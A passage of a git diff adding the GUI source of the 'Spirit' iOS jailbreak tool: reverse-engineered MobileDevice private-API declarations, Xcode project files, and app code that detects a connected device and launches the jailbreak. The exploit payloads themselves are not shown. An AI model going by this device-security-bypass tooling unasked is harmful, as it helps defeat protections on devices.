*conn, afc_file_ref ref); + +afc_error_t AFCFileInfoOpen(struct afc_connection *conn, const char *path, struct + afc_dictionary **info); +afc_error_t AFCKeyValueRead(struct afc_dictionary *dict, char **key, char ** + val); +afc_error_t AFCKeyValueClose(struct afc_dictionary *dict); + +unsigned int AMRestorePerformRecoveryModeRestore(struct am_recovery_device * + rdev, CFDictionaryRef opts, void *callback, void *user_info); +unsigned int AMRestorePerformRestoreModeRestore(struct am_restore_device * + rdev, CFDictionaryRef opts, void *callback, void *user_info); + +struct am_restore_device *AMRestoreModeDeviceCreate(unsigned int unknown0, + unsigned int connection_id, unsigned int unknown1); + +unsigned int AMRestoreCreatePathsForBundle(CFStringRef restore_bundle_path, + CFStringRef kernel_cache_type, CFStringRef boot_image_type, unsigned int + unknown0, CFStringRef *firmware_dir_path, CFStringRef * + kernelcache_restore_path, unsigned int unknown1, CFStringRef * + ramdisk_path); + +unsigned int AMDeviceGetConnectionID(struct am_device *device); +mach_error_t AMDeviceEnterRecovery(struct am_device *device); +mach_error_t AMDeviceDisconnect(struct am_device *device); +mach_error_t AMDeviceRetain(struct am_device *device); +mach_error_t AMDeviceRelease(struct am_device *device); +CFStringRef AMDeviceCopyValue(struct am_device *device, unsigned int, CFStringRef cfstring); +mach_error_t AMDeviceCopyDeviceIdentifier(struct am_device *device); + +typedef void (*notify_callback)(CFStringRef notification, void *data); + +mach_error_t AMDPostNotification(void *socket, CFStringRef notification, CFStringRef userinfo); +mach_error_t AMDObserveNotification(void *socket, CFStringRef notification); +mach_error_t AMDListenForNotifications(void *socket, notify_callback cb, void *data); +mach_error_t AMDShutdownNotificationProxy(void *socket); + +/*edits by geohot*/ +mach_error_t AMDeviceDeactivate(struct am_device *device); +mach_error_t AMDeviceActivate(struct am_device *device, CFMutableDictionaryRef); +/*end*/ + +/* ---------------------------------------------------------------------------- + * Semi-private routines + * ------------------------------------------------------------------------- */ + +/* Pass in a usbmux_listener_1 structure and a usbmux_listener_2 structure + * pointer, which will be filled with the resulting usbmux_listener_2. + * + * Returns: + * MDERR_OK if completed successfully + * MDERR_USBMUX_ARG_NULL if one of the arguments was NULL + * MDERR_USBMUX_FAILED if the listener was not created successfully + */ + +usbmux_error_t USBMuxListenerCreate(struct usbmux_listener_1 *esi_fp8, struct + usbmux_listener_2 **eax_fp12); + +/* ---------------------------------------------------------------------------- + * Less-documented semi-private routines + * ------------------------------------------------------------------------- */ + +usbmux_error_t USBMuxListenerHandleData(void *); + +/* ---------------------------------------------------------------------------- + * Private routines - here be dragons + * ------------------------------------------------------------------------- */ + +/* AMRestorePerformRestoreModeRestore() calls this function with a dictionary + * in order to perform certain special restore operations + * (RESTORED_OPERATION_*). It is thought that this function might enable + * significant access to the phone. */ + +typedef unsigned int (*t_performOperation)(struct am_restore_device *rdev, + CFDictionaryRef op); // __attribute__ ((regparm(2))); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/gui/Spirit-Info.plist b/gui/Spirit-Info.plist new file mode 100644 index 0000000..1ca89bf --- /dev/null +++ b/gui/Spirit-Info.plist @@ -0,0 +1,32 @@ + + + + + CFBundleDevelopmentRegion + English + CFBundleExecutable + ${EXECUTABLE_NAME} + CFBundleIconFile + spirit.icns + CFBundleIdentifier + com.ex.${PRODUCT_NAME:rfc1034identifier} + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + ${PRODUCT_NAME} + CFBundlePackageType + APPL + CFBundleShortVersionString + 1.0 + CFBundleSignature + ???? + CFBundleVersion + 1 + LSMinimumSystemVersion + ${MACOSX_DEPLOYMENT_TARGET} + NSMainNibFile + MainMenu + NSPrincipalClass + NSApplication + + diff --git a/gui/Spirit.xcodeproj/project.pbxproj b/gui/Spirit.xcodeproj/project.pbxproj new file mode 100644 index 0000000..ca117ca --- /dev/null +++ b/gui/Spirit.xcodeproj/project.pbxproj @@ -0,0 +1,346 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 45; + objects = { + +/* Begin PBXBuildFile section */ + 1DDD58160DA1D0A300B32029 /* MainMenu.xib in Resources */ = {isa = PBXBuildFile; fileRef = 1DDD58140DA1D0A300B32029 /* MainMenu.xib */; }; + 256AC3DA0F4B6AC300CF3369 /* SpiritAppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 256AC3D90F4B6AC300CF3369 /* SpiritAppDelegate.m */; }; + 7DB38B1C11191D5500BD5E61 /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 7DB38B1B11191D5500BD5E61 /* CoreFoundation.framework */; }; + 7DB38BAD11192A0A00BD5E61 /* SpiritWindow.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DB38BAC11192A0A00BD5E61 /* SpiritWindow.m */; }; + 809D9A62115960C1004118DD /* QuartzCore.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 809D9A61115960C1004118DD /* QuartzCore.framework */; }; + 80AF3A06118737E500B40458 /* spirit.icns in Resources */ = {isa = PBXBuildFile; fileRef = 80AF3A05118737E500B40458 /* spirit.icns */; }; + 80AF3A2D11888E1300B40458 /* dddata.m in Sources */ = {isa = PBXBuildFile; fileRef = 80AF3A2B11888E1300B40458 /* dddata.m */; }; + 80AF3A3311888E3D00B40458 /* libz.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 80AF3A3211888E3D00B40458 /* libz.dylib */; }; + 8D11072B0486CEB800E47090 /* InfoPlist.strings in Resources */ = {isa = PBXBuildFile; fileRef = 089C165CFE840E0CC02AAC07 /* InfoPlist.strings */; }; + 8D11072F0486CEB800E47090 /* Cocoa.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1058C7A1FEA54F0111CA2CBB /* Cocoa.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 089C165DFE840E0CC02AAC07 /* English */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.strings; name = English; path = English.lproj/InfoPlist.strings; sourceTree = ""; }; + 1058C7A1FEA54F0111CA2CBB /* Cocoa.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Cocoa.framework; path = /System/Library/Frameworks/Cocoa.framework; sourceTree = ""; }; + 13E42FB307B3F0F600E4EEF1 /* CoreData.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreData.framework; path = /System/Library/Frameworks/CoreData.framework; sourceTree = ""; }; + 1DDD58150DA1D0A300B32029 /* English */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = English; path = English.lproj/MainMenu.xib; sourceTree = ""; }; + 256AC3D80F4B6AC300CF3369 /* SpiritAppDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = SpiritAppDelegate.h; sourceTree = ""; }; + 256AC3D90F4B6AC300CF3369 /* SpiritAppDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = SpiritAppDelegate.m; sourceTree = ""; }; + 256AC3F00F4B6AF500CF3369 /* Spirit_Prefix.pch */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = Spirit_Prefix.pch; sourceTree = ""; }; + 29B97324FDCFA39411CA2CEA /* AppKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AppKit.framework; path = /System/Library/Frameworks/AppKit.framework; sourceTree = ""; }; + 29B97325FDCFA39411CA2CEA /* Foundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Foundation.framework; path = /System/Library/Frameworks/Foundation.framework; sourceTree = ""; }; + 7DB38AE711191A4200BD5E61 /* MobileDevice.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileDevice.h; sourceTree = ""; }; + 7DB38B1B11191D5500BD5E61 /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 7DB38B1D11191D6900BD5E61 /* MobileDevice.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileDevice.framework; path = /System/Library/PrivateFrameworks/MobileDevice.framework; sourceTree = ""; }; + 7DB38BAB11192A0A00BD5E61 /* SpiritWindow.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = SpiritWindow.h; sourceTree = ""; }; + 7DB38BAC11192A0A00BD5E61 /* SpiritWindow.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = SpiritWindow.m; sourceTree = ""; }; + 809D9A61115960C1004118DD /* QuartzCore.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = QuartzCore.framework; path = System/Library/Frameworks/QuartzCore.framework; sourceTree = SDKROOT; }; + 80AF3A05118737E500B40458 /* spirit.icns */ = {isa = PBXFileReference; lastKnownFileType = image.icns; path = spirit.icns; sourceTree = ""; }; + 80AF3A2B11888E1300B40458 /* dddata.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = dddata.m; sourceTree = ""; }; + 80AF3A2C11888E1300B40458 /* dddata.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dddata.h; sourceTree = ""; }; + 80AF3A3211888E3D00B40458 /* libz.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libz.dylib; path = usr/lib/libz.dylib; sourceTree = SDKROOT; }; + 8D1107310486CEB800E47090 /* Spirit-Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "Spirit-Info.plist"; sourceTree = ""; }; + 8D1107320486CEB800E47090 /* Spirit.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Spirit.app; sourceTree = BUILT_PRODUCTS_DIR; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8D11072E0486CEB800E47090 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8D11072F0486CEB800E47090 /* Cocoa.framework in Frameworks */, + 7DB38B1C11191D5500BD5E61 /* CoreFoundation.framework in Frameworks */, + 809D9A62115960C1004118DD /* QuartzCore.framework in Frameworks */, + 80AF3A3311888E3D00B40458 /* libz.dylib in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 080E96DDFE201D6D7F000001 /* Classes */ = { + isa = PBXGroup; + children = ( + 7DB38AE711191A4200BD5E61 /* MobileDevice.h */, + 256AC3D80F4B6AC300CF3369 /* SpiritAppDelegate.h */, + 256AC3D90F4B6AC300CF3369 /* SpiritAppDelegate.m */, + 7DB38BAB11192A0A00BD5E61 /* SpiritWindow.h */, + 7DB38BAC11192A0A00BD5E61 /* SpiritWindow.m */, + ); + name = Classes; + sourceTree = ""; + }; + 1058C7A0FEA54F0111CA2CBB /* Linked Frameworks */ = { + isa = PBXGroup; + children = ( + 809D9A61115960C1004118DD /* QuartzCore.framework */, + 7DB38B1B11191D5500BD5E61 /* CoreFoundation.framework */, + 7DB38B1D11191D6900BD5E61 /* MobileDevice.framework */, + 1058C7A1FEA54F0111CA2CBB /* Cocoa.framework */, + 80AF3A3211888E3D00B40458 /* libz.dylib */, + ); + name = "Linked Frameworks"; + sourceTree = ""; + }; + 1058C7A2FEA54F0111CA2CBB /* Other Frameworks */ = { + isa = PBXGroup; + children = ( + 29B97324FDCFA39411CA2CEA /* AppKit.framework */, + 13E42FB307B3F0F600E4EEF1 /* CoreData.framework */, + 29B97325FDCFA39411CA2CEA /* Foundation.framework */, + ); + name = "Other Frameworks"; + sourceTree = ""; + }; + 19C28FACFE9D520D11CA2CBB /* Products */ = { + isa = PBXGroup; + children = ( + 8D1107320486CEB800E47090 /* Spirit.app */, + ); + name = Products; + sourceTree = ""; + }; + 29B97314FDCFA39411CA2CEA /* Spirit */ = { + isa = PBXGroup; + children = ( + 080E96DDFE201D6D7F000001 /* Classes */, + 29B97315FDCFA39411CA2CEA /* Other Sources */, + 29B97317FDCFA39411CA2CEA /* Resources */, + 29B97323FDCFA39411CA2CEA /* Frameworks */, + 19C28FACFE9D520D11CA2CBB /* Products */, + ); + name = Spirit; + sourceTree = ""; + }; + 29B97315FDCFA39411CA2CEA /* Other Sources */ = { + isa = PBXGroup; + children = ( + 80AF3A2B11888E1300B40458 /* dddata.m */, + 80AF3A2C11888E1300B40458 /* dddata.h */, + 256AC3F00F4B6AF500CF3369 /* Spirit_Prefix.pch */, + ); + name = "Other Sources"; + sourceTree = ""; + }; + 29B97317FDCFA39411CA2CEA /* Resources */ = { + isa = PBXGroup; + children = ( + 80AF3A05118737E500B40458 /* spirit.icns */, + 8D1107310486CEB800E47090 /* Spirit-Info.plist */, + 089C165CFE840E0CC02AAC07 /* InfoPlist.strings */, + 1DDD58140DA1D0A300B32029 /* MainMenu.xib */, + ); + name = Resources; + sourceTree = ""; + }; + 29B97323FDCFA39411CA2CEA /* Frameworks */ = { + isa = PBXGroup; + children = ( + 1058C7A0FEA54F0111CA2CBB /* Linked Frameworks */, + 1058C7A2FEA54F0111CA2CBB /* Other Frameworks */, + ); + name = Frameworks; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8D1107260486CEB800E47090 /* Spirit */ = { + isa = PBXNativeTarget; + buildConfigurationList = C01FCF4A08A954540054247B /* Build configuration list for PBXNativeTarget "Spirit" */; + buildPhases = ( + 8D1107290486CEB800E47090 /* Resources */, + 8030C8231162CABB004B1AC4 /* ShellScript */, + 8D11072C0486CEB800E47090 /* Sources */, + 8D11072E0486CEB800E47090 /* Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = Spirit; + productInstallPath = "$(HOME)/Applications"; + productName = Spirit; + productReference = 8D1107320486CEB800E47090 /* Spirit.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 29B97313FDCFA39411CA2CEA /* Project object */ = { + isa = PBXProject; + buildConfigurationList = C01FCF4E08A954540054247B /* Build configuration list for PBXProject "Spirit" */; + compatibilityVersion = "Xcode 3.1"; + hasScannedForEncodings = 1; + mainGroup = 29B97314FDCFA39411CA2CEA /* Spirit */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8D1107260486CEB800E47090 /* Spirit */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 8D1107290486CEB800E47090 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8D11072B0486CEB800E47090 /* InfoPlist.strings in Resources */, + 1DDD58160DA1D0A300B32029 /* MainMenu.xib in Resources */, + 80AF3A06118737E500B40458 /* spirit.icns in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8030C8231162CABB004B1AC4 /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "echo \"Okay\"\nshopt -u dotglob\nrm -rf $CONFIGURATION_BUILD_DIR/$UNLOCALIZED_RESOURCES_FOLDER_PATH/igor\nrm -rf $CONFIGURATION_BUILD_DIR/$UNLOCALIZED_RESOURCES_FOLDER_PATH/resources\ncp -r $SRCROOT/../stage/igor $CONFIGURATION_BUILD_DIR/$UNLOCALIZED_RESOURCES_FOLDER_PATH\ncp $SRCROOT/../dl/dl $CONFIGURATION_BUILD_DIR/$UNLOCALIZED_RESOURCES_FOLDER_PATH\nmkdir $CONFIGURATION_BUILD_DIR/$UNLOCALIZED_RESOURCES_FOLDER_PATH/resources\ncp -r $SRCROOT/../resources/* $CONFIGURATION_BUILD_DIR/$UNLOCALIZED_RESOURCES_FOLDER_PATH/resources/"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8D11072C0486CEB800E47090 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 256AC3DA0F4B6AC300CF3369 /* SpiritAppDelegate.m in Sources */, + 7DB38BAD11192A0A00BD5E61 /* SpiritWindow.m in Sources */, + 80AF3A2D11888E1300B40458 /* dddata.m in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXVariantGroup section */ + 089C165CFE840E0CC02AAC07 /* InfoPlist.strings */ = { + isa = PBXVariantGroup; + children = ( + 089C165DFE840E0CC02AAC07 /* English */, + ); + name = InfoPlist.strings; + sourceTree = ""; + }; + 1DDD58140DA1D0A300B32029 /* MainMenu.xib */ = { + isa = PBXVariantGroup; + children = ( + 1DDD58150DA1D0A300B32029 /* English */, + ); + name = MainMenu.xib; + sourceTree = ""; + }; +/* End PBXVariantGroup section */ + +/* Begin XCBuildConfiguration section */ + C01FCF4B08A954540054247B /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ARCHS = "$(ARCHS_STANDARD_32_BIT)"; + COPY_PHASE_STRIP = NO; + FRAMEWORK_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"", + ); + GCC_DYNAMIC_NO_PIC = NO; + GCC_ENABLE_FIX_AND_CONTINUE = YES; + GCC_MODEL_TUNING = G5; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PRECOMPILE_PREFIX_HEADER = YES; + GCC_PREFIX_HEADER = Spirit_Prefix.pch; + INFOPLIST_FILE = "Spirit-Info.plist"; + INSTALL_PATH = "$(HOME)/Applications"; + OTHER_CFLAGS = "-m32"; + OTHER_LDFLAGS = "-F/System/Library/PrivateFrameworks/"; + PRODUCT_NAME = Spirit; + SDKROOT = macosx10.5; + }; + name = Debug; + }; + C01FCF4C08A954540054247B /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ARCHS = "$(ARCHS_STANDARD_32_BIT)"; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + FRAMEWORK_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"", + ); + GCC_MODEL_TUNING = G5; + GCC_PRECOMPILE_PREFIX_HEADER = YES; + GCC_PREFIX_HEADER = Spirit_Prefix.pch; + INFOPLIST_FILE = "Spirit-Info.plist"; + INSTALL_PATH = "$(HOME)/Applications"; + OTHER_CFLAGS = "-m32"; + PRODUCT_NAME = Spirit; + SDKROOT = macosx10.5; + }; + name = Release; + }; + C01FCF4F08A954540054247B /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ARCHS = "$(ARCHS_STANDARD_32_64_BIT)"; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_VERSION = 4.2; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + MACOSX_DEPLOYMENT_TARGET = 10.4; + ONLY_ACTIVE_ARCH = YES; + PREBINDING = NO; + SDKROOT = macosx10.4; + }; + name = Debug; + }; + C01FCF5008A954540054247B /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ARCHS = "$(ARCHS_STANDARD_32_64_BIT)"; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_VERSION = 4.2; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + MACOSX_DEPLOYMENT_TARGET = 10.4; + PREBINDING = NO; + SDKROOT = macosx10.4; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + C01FCF4A08A954540054247B /* Build configuration list for PBXNativeTarget "Spirit" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + C01FCF4B08A954540054247B /* Debug */, + C01FCF4C08A954540054247B /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + C01FCF4E08A954540054247B /* Build configuration list for PBXProject "Spirit" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + C01FCF4F08A954540054247B /* Debug */, + C01FCF5008A954540054247B /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 29B97313FDCFA39411CA2CEA /* Project object */; +} diff --git a/gui/SpiritAppDelegate.h b/gui/SpiritAppDelegate.h new file mode 100644 index 0000000..a4d39df --- /dev/null +++ b/gui/SpiritAppDelegate.h @@ -0,0 +1,36 @@ +// +// SpiritAppDelegate.h +// Spirit +// + +#import +#import + +@interface SpiritAppDelegate : NSObject { + IBOutlet NSWindow *window; + IBOutlet NSButton *button; + IBOutlet NSProgressIndicator *progress; + IBOutlet NSTextField *noteText; + IBOutlet BOOL deviceConnected; + IBOutlet BOOL jailbreakComplete; + BOOL isJailbreaking; + NSTimer *timer; + NSString *firmwareVersion; + NSString *deviceModel; +#if 0 + NSString *xzfile; +#endif +} + +- (int)getMobileDeviceVersion; + +- (IBAction)performClick:(id)sender; + +- (void)setDeviceConnected:(BOOL)connected; +- (void)setDeviceFirmwareVersion:(NSString *)version; +- (void)setDeviceModel:(NSString *)model; + +- (BOOL)isJailbreaking; +- (BOOL)jailbreakComplete; + +@end diff --git a/gui/SpiritAppDelegate.m b/gui/SpiritAppDelegate.m new file mode 100644 index 0000000..a1a16aa --- /dev/null +++ b/gui/SpiritAppDelegate.m @@ -0,0 +1,429 @@ +// +// SpiritAppDelegate.m +// Spirit +// + +#import "SpiritAppDelegate.h" +#import "MobileDevice.h" +#import +#import +#import +#import +#import "dddata.h" + +#define XZ_FILENAME "freeze-v1.tar.xz" +#define XZ_HASH "12345678901234567890" + +#define MODEL_TRANSLATION_TABLE [NSDictionary dictionaryWithObjectsAndKeys: \ + @"iPhone 2G", @"iPhone1,1", \ + @"iPod touch 1G", @"iPod1,1", \ + @"iPhone 3G", @"iPhone1,2", \ + @"iPod touch 2G", @"iPod2,1", \ + @"iPhone 3GS", @"iPhone2,1", \ + @"iPod touch 3G", @"iPod3,1", \ + @"iPad", @"iPad1,1", \ + nil] + +void *mobile_device_framework; +int (*am_device_notification_subscribe)(void *, int, int, void *, am_device_notification **); +mach_error_t (*am_device_connect)(struct am_device *device); +mach_error_t (*am_device_is_paired)(struct am_device *device); +mach_error_t (*am_device_validate_pairing)(struct am_device *device); +mach_error_t (*am_device_start_session)(struct am_device *device); + +int load_mobile_device() +{ + mobile_device_framework = dlopen("/System/Library/PrivateFrameworks/MobileDevice.framework/MobileDevice", RTLD_NOW); + + am_device_notification_subscribe = dlsym(mobile_device_framework, "AMDeviceNotificationSubscribe"); + am_device_connect = dlsym(mobile_device_framework, "AMDeviceConnect"); + am_device_is_paired = dlsym(mobile_device_framework, "AMDeviceIsPaired"); + am_device_validate_pairing = dlsym(mobile_device_framework, "AMDeviceValidatePairing"); + am_device_start_session = dlsym(mobile_device_framework, "AMDeviceStartSession"); + + return (mobile_device_framework == NULL || + am_device_notification_subscribe == NULL || + am_device_connect == NULL || + am_device_is_paired == NULL || + am_device_validate_pairing == NULL || + am_device_start_session == NULL); +} + +static NSString *device_copy_value(am_device *device, NSString *key) +{ + NSString * (*am_copy_value)(am_device *, NSString *, NSString *); + am_copy_value = dlsym(mobile_device_framework, "AMDeviceCopyValue"); + + if (!am_copy_value) + return nil; + + return am_copy_value(device, nil, key); +} + +static NSString *device_firmware_string(am_device *device) +{ + return device_copy_value(device, @"ProductVersion"); +} + +static NSString *device_model_string(am_device *device) +{ + return device_copy_value(device, @"ProductType"); +} + +static void device_notification_callback(am_device_notification_callback_info *info, void *foo) +{ + SpiritAppDelegate *appDelegate = [[NSApplication sharedApplication] delegate]; + if ([appDelegate isJailbreaking]) return; + + if (info->msg != ADNCI_MSG_CONNECTED) { [appDelegate setDeviceConnected:NO]; return; } + if (am_device_connect(info->dev)) { [appDelegate setDeviceConnected:NO]; return; } + if (!am_device_is_paired(info->dev)) { [appDelegate setDeviceConnected:NO]; return; } + if (am_device_validate_pairing(info->dev)) { [appDelegate setDeviceConnected:NO]; return; } + if (am_device_start_session(info->dev)) { [appDelegate setDeviceConnected:NO]; return; } + + [appDelegate setDeviceFirmwareVersion:device_firmware_string(info->dev)]; + [appDelegate setDeviceModel:device_model_string(info->dev)]; + + [appDelegate setDeviceConnected:YES]; +} + +static BOOL is_valid_freeze(NSString *path) { + NSFileHandle *handle = [NSFileHandle fileHandleForReadingAtPath:path]; + if(!handle) return NO; + NSData *data = [handle readDataToEndOfFile]; + unsigned char md[20]; + CC_SHA1([data bytes], [data length], md); + return !memcmp(md, XZ_HASH, 20); +} + + +@implementation SpiritAppDelegate + +- (BOOL)isJailbreaking +{ + return isJailbreaking; +} + +- (BOOL)jailbreakComplete +{ + return jailbreakComplete; +} + +- (int)getMobileDeviceVersion +{ + NSString *path = @"/System/Library/PrivateFrameworks/MobileDevice.framework/Resources/version.plist"; + NSDictionary *info = [NSPropertyListSerialization propertyListFromData:[NSData dataWithContentsOfFile:path] + mutabilityOption:kCFPropertyListImmutable + format:NULL + errorDescription:NULL]; + return [[info objectForKey:@"SourceVersion"] intValue]; + +} + +- (void)flipProgressVisibility:(BOOL)progressVisible +{ + [progress setHidden:!progressVisible]; +} + +- (void)flipVisibility:(BOOL)progressVisible +{ + if([progress respondsToSelector:@selector(animator)]) { + // CoreAnimation is available + [progress setHidden:progressVisible]; + [[(id)button animator] setAlphaValue:progressVisible ? 0.0 : 1.0]; + + if([timer isValid]) { + [timer invalidate]; + [timer release]; + } + + timer = [[NSTimer scheduledTimerWithTimeInterval:0.1 + target:self + selector:@selector(flipProgressVisibility:) + userInfo:[NSNumber numberWithBool:progressVisible] + repeats:NO] retain]; + + } else { + [progress setHidden:!progressVisible]; + [button setHidden:progressVisible]; + } +} + +- (void)didJailbreakWithResultCodeAndOutput:(NSArray *)array +{ + //NSLog(@"%@", array); + + NSNumber *resultCode = [array objectAtIndex:0]; + NSString *output = [array objectAtIndex:1]; + //NSLog(@"%@", output); + [array release]; + [resultCode autorelease]; + [output autorelease]; + + isJailbreaking = NO; + jailbreakComplete = [resultCode intValue] == 0; + + [progress stopAnimation:self]; + [self flipVisibility:NO]; + + if (jailbreakComplete) { + [noteText setTitleWithMnemonic:@"Jailbreak Complete!"]; + [button setTitle:@"Quit"]; + } else { + NSString *text = [NSString stringWithFormat:@"Spirit encountered an unexpected error (%x).", [resultCode intValue]]; + NSAlert *alert = [NSAlert alertWithMessageText:text + defaultButton:@"Send Report" + alternateButton:@"Don't Send" + otherButton:nil + informativeTextWithFormat:@"Welp. If you were doing something weird, don't. Otherwise, please report the problem to comex."]; + + [noteText setTitleWithMnemonic:[NSString stringWithFormat:@"Failed to jailbreak (error code: %x).", [resultCode intValue]]]; + [button setTitle:@"Retry"]; + + NSTextField *field = nil; + if([alert respondsToSelector:@selector(setAccessoryView:)]) { + field = [[NSTextField alloc] initWithFrame:NSMakeRect(0, 0, 600, 300)]; + [field setStringValue:output]; + [alert setAccessoryView:field]; + } + + NSInteger result = [alert runModal]; + if(result == NSAlertDefaultReturn) { + NSData *data = [[field stringValue] dataUsingEncoding:NSUTF8StringEncoding]; + NSMutableURLRequest *request = [[NSMutableURLRequest alloc] initWithURL:[NSURL URLWithString:@"http://spiritjb.com/post.php?compressed"]]; + [request setValue:@"text/plain" forHTTPHeaderField:@"Content-Type"]; + [request setHTTPMethod:@"POST"]; + [request setHTTPBody:[data gzipDeflate]]; + [NSURLConnection connectionWithRequest:request delegate:nil]; + [request release]; + } + + [field release]; + } +} + +- (void)setDeviceModel:(NSString *)model +{ + if (deviceModel != model) { + [deviceModel release]; + deviceModel = [model retain]; + } +} + +- (NSString *)deviceModel +{ + return deviceModel; +} + +- (void)setDeviceFirmwareVersion:(NSString *)version +{ + if (firmwareVersion != version) { + [firmwareVersion release]; + firmwareVersion = [version retain]; + } +} + +- (NSString *)deviceFirmwareVersion +{ + return firmwareVersion; +} + + +- (BOOL)deviceConnected +{ + return deviceConnected; +} + +- (BOOL)isReadyToJailbreak +{ + static NSDictionary *map = nil; + if (map == nil) { + NSString *mappath = [[NSBundle mainBundle] pathForResource:@"map" ofType:@"plist" inDirectory:@"igor"]; + map = [[NSPropertyListSerialization propertyListFromData:[NSData dataWithContentsOfFile:mappath] + mutabilityOption:kCFPropertyListImmutable + format:NULL + errorDescription:NULL] retain]; + } + if(![self deviceConnected]) return NO; + return nil != [map objectForKey:[NSString stringWithFormat:@"%@_%@", + [self deviceModel], + [self deviceFirmwareVersion]]]; +} + +- (NSString *)humanReadableDeviceModel +{ + NSString *attempt = [MODEL_TRANSLATION_TABLE objectForKey:[self deviceModel]]; + + // This is so for unknown models we don't display "(null)" + if (attempt) return attempt; + else return [self deviceModel]; +} + +- (void)setDeviceConnected:(BOOL)connected +{ + if (jailbreakComplete && !connected) { + jailbreakComplete = NO; + return; + } + + deviceConnected = connected; + + NSString *buttonTitle = @""; + + if (![self deviceConnected]) { + [self setDeviceFirmwareVersion:nil]; + [self setDeviceModel:nil]; + + buttonTitle = @"Please connect device."; + } else if (![self isReadyToJailbreak]) { + buttonTitle = [NSString stringWithFormat:@"Device %@ (%@) is not supported.", [self humanReadableDeviceModel], [self deviceFirmwareVersion]]; + } else { + if ([[noteText cell] respondsToSelector:@selector(setBackgroundStyle:)]) + [[noteText cell] 